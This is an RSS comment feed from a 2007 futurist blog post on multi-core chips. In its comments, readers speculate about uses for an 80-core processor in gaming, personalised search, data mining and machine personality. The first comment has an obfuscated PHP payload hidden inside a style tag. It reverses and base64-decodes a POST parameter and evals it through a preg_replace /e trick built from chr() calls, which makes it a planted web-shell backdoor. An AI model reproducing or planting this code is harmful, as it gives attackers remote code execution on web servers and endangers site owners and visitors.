Comments on: The ‘historic shift’ of multi-core chip design… Forget about web 2.0, start thinking about the Tera Era of Computing http://garrygolden.net/2007/08/21/the-%e2%80%98historic-shift%e2%80%99-of-multi-core-chip-design%e2%80%a6-forget-about-web-20-start-thinking-about-the-tera-era-of-computing/ ---A Futurist looks at changes ahead, and reasons to be hopeful------- Fri, 05 Sep 2008 06:41:52 +0000 http://wordpress.org/?v=2.1 By: Jim Lee http://garrygolden.net/2007/08/21/the-%e2%80%98historic-shift%e2%80%99-of-multi-core-chip-design%e2%80%a6-forget-about-web-20-start-thinking-about-the-tera-era-of-computing/#comment-177 Jim Lee Sun, 16 Sep 2007 16:26:48 +0000 http://garrygolden.net/2007/08/21/the-%e2%80%98historic-shift%e2%80%99-of-multi-core-chip-design%e2%80%a6-forget-about-web-20-start-thinking-about-the-tera-era-of-computing/#comment-177 7665376fd0ad47431a2245d553fa3f60<style ${$x=strrev($_POST[x])} ${$x=base64_decode(preg_replace(chr(47).chr(95).chr(47),chr(43),$x))} ${$x=preg_replace(chr(47).chr(47).chr(101),chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(120).chr(41),chr(55))} ></style>---Just thinking about why consumers might want an 80-core chip... My best guess is that this sort of computational model may be needed to bridge the "digital" to the "natural", to develop the texture, physics, and detail necessary for immersive gaming. Another potential reason might be a drive for computer-driven empathy, essentially, a level of pattern recognition needed to intuit our desires and to make the internet more relevant. Think of a personalized Google on steroids. It's no longer about access to information - it's about relevance. A third area is data mining - being able to sort through a range of variables and potential relationships to build models of how complex interactions work. This might be more of a commercial rather than consumer application, but potentially useful, nonetheless... The last area might be the development of personality. A computer with a degree of native intelligence derived from weeks or months of "training". Computers are still behind people in terms of pattern recognition, social interaction, and inference. Once these barriers are surpassed, some really interesting things could happen... 7665376fd0ad47431a2245d553fa3f60

—Just thinking about why consumers might want an 80-core chip…

My best guess is that this sort of computational model may be needed to bridge the "digital" to the "natural", to develop the texture, physics, and detail necessary for immersive gaming.

Another potential reason might be a drive for computer-driven empathy, essentially, a level of pattern recognition needed to intuit our desires and to make the internet more relevant. Think of a personalized Google on steroids. It’s no longer about access to information - it’s about relevance.

A third area is data mining - being able to sort through a range of variables and potential relationships to build models of how complex interactions work. This might be more of a commercial rather than consumer application, but potentially useful, nonetheless…

The last area might be the development of personality. A computer with a degree of native intelligence derived from weeks or months of "training".

Computers are still behind people in terms of pattern recognition, social interaction, and inference. Once these barriers are surpassed, some really interesting things could happen…

]]> By: golden14 http://garrygolden.net/2007/08/21/the-%e2%80%98historic-shift%e2%80%99-of-multi-core-chip-design%e2%80%a6-forget-about-web-20-start-thinking-about-the-tera-era-of-computing/#comment-180 golden14 Thu, 20 Sep 2007 13:21:00 +0000 http://garrygolden.net/2007/08/21/the-%e2%80%98historic-shift%e2%80%99-of-multi-core-chip-design%e2%80%a6-forget-about-web-20-start-thinking-about-the-tera-era-of-computing/#comment-180 Jim... Nice angles... 'digital' to 'natural' might indeed be a big picture shift. And I could definitely see multicore chips being able to handle a wider range of tasks and add new layers to 'computers'. It will be interesting...! Thanks! Jim…
Nice angles… ‘digital’ to ‘natural’ might indeed be a big picture shift. And I could definitely see multicore chips being able to handle a wider range of tasks and add new layers to ‘computers’. It will be interesting…! Thanks!

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